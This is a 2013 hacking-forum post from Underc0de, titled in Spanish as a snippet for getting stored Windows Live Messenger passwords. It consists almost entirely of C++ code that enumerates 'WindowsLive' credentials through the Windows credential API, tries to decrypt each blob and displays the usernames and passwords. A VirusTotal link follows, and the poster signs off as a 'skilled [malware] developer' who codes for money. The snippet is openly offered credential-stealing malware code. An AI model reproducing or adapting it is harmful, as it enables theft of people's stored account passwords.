This site uses cookies own and third. If you continue to browse consider to accept the use of cookies. OK More Info.

[SNIPPET] Obtener contraseñas almacenadas WLM

  • 0 Replies
  • 2990 Views

0 Members and 1 Guest are viewing this topic.

Offline Karcrack

  • *
  • Underc0der
  • Posts: 87
  • Actividad:
    0%
  • Reputación 0
  • Se siente observado ¬¬'
    • View Profile

[SNIPPET] Obtener contraseñas almacenadas WLM

  • on: June 16, 2013, 06:31:26 pm
Code: (cpp) You are not allowed to view links. Register or Login
/*#ifndef UNICODE
#define UNICODE
#endif*/

#pragma comment(lib, "crypt32.lib")
#include <Windows.h>
#include <wincred.h>

void main(){
    DWORD       dwCount;
    PCREDENTIAL*Credentials;
    PCREDENTIAL Cred;

    CredEnumerate(TEXT("WindowsLive:name=*"), 0, &dwCount, &Credentials);

    while(dwCount--){
        Cred = Credentials[dwCount];
        MessageBox(0, Cred->UserName, NULL, 0);

        CryptUnprotectData((PDATA_BLOB)Cred->CredentialBlob, NULL, NULL, NULL, NULL, CRYPTPROTECT_UI_FORBIDDEN, NULL);
        if (Cred->CredentialBlobSize)
            MessageBox(0, (LPWSTR)Cred->CredentialBlob, NULL, 0);
    }
}
Code: You are not allowed to view links. Register or Login
https://www.virustotal.com/file/f5c09361788c76b3ab5e79cc586aebd9f120980e4a93facdbbfdca92e1d1b1c8/analysis/1332799298/
I code for $$$.

(PGP ID 0xCC050E77)
ASM, C, C++, VB6... skilled [malware] developer